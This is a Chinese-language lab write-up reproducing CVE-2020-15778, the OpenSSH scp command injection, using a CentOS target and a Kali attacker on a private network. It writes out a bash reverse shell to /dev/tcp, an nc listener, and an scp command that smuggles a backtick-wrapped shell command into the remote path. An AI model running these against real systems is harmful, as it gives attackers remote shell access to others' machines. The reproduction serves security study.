CVE-2020-15778漏洞复现
CVE-2020-15778漏洞复现学习
作者:ch4nge
漏洞名称:OpenSSH 命令注⼊漏洞(CVE-2020-15778)
等级:⾼危
类型:命令执⾏
影响版本:OpenSSH <= 8.3p1
利⽤难度:简单
漏洞介绍:漏洞公开披露2020年7⽉18⽇,openssh 8.3p1的SCP命令存在命令注⼊漏洞,攻击者可以利⽤此漏洞执⾏任意命令。
1. scp命令
简单来说就是A这⾥执⾏scp命令,将A电脑⾥的⽂件传输到B电脑(linux系统)
命令格式
scp [参数] [原路径] [⽬标路径]
2. 模拟环境搭建
环境效果:不可以ssh连接,可以使⽤scp
看到⼤佬说有两种⽅式,这⾥使⽤iptables策略搭建
靶机环境:CentOS7,ip:192.168.1.135
渗透机环境:Kali 2020,ip:192.168.1.160
1. 查看ssh版本(CentOS)=7.4p1
2.正常情况下ssh和scp命令执⾏情况(Kali)
3.使⽤iptables策略搭建环境,禁⽤ssh登录,只保留scp(CentOS)
(1)安装iptables
yum install -y iptables
(2)安装iptables-services
yum install iptables-services
(3)关闭防⽕墙
CentOS默认⾃带firewalld
停⽌firewalld服务
systemctl stop firewalld
禁⽤firewalld服务
systemctl mask firewalld
(4)查看现有规则
iptables -L -vn
cve漏洞库iptables -F是清空默认规则
iptables -L -n --line-number 显⽰规则和相对应的编号
(5)设置策略
命令:
service iptables start
iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
service iptables save
iptables -L -n --line-number
4. 测试ssh与scp在已设置iptables策略下的使⽤情况
scp功能正常使⽤,但是ssh在输⼊密码后,⽆任何回响,⽆法连接,证明iptables策略成功有效。
3. scp命令注⼊漏洞利⽤
1. 在kali⾥⾯新建1.sh,写⼊反弹shell的bash命令
bash -i >& /dev/tcp/192.168.1.160/6666 0>&1
2.在kali监听6666端⼝
nc -lvp 6666
或者使⽤revshellgen
3. 使⽤scp命令传输⽂件到CentOS的/tmp⽬录
scp 1.sh root@192.168.1.135:/tmp/1.sh
4. 命令执⾏,运⾏1.sh
scp 1.sh root@192.168.1.135:/'`sh /tmp/1.sh`'
成功反弹shell,实验结束!
4. 漏洞分析
if (remin == -1) {
xasprintf(&bp, "%s -t %s%s", cmd,
*targ == '-' ? "-- " : "", targ);
if (do_cmd(thost, tuser, tport, bp, &remin,
&remout) < 0)
exit(1);
if (response() < 0)
exit(1);
free(bp);
}
当执⾏本地scp命令时,scp不会检查、过滤和清除⽂件名。这使得攻击者执⾏带有反引号的有效scp命令时,本地shell还将执⾏反引号中的命令。
5. 修复建议
补丁/升级
总结:此漏洞局限性很⼤,需要ssh的密码。。。通过这次操作收获良多,有问题的地⽅恳请指正。漏洞⽆处不在~好好学习!努⼒!奋⽃!
其他:

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。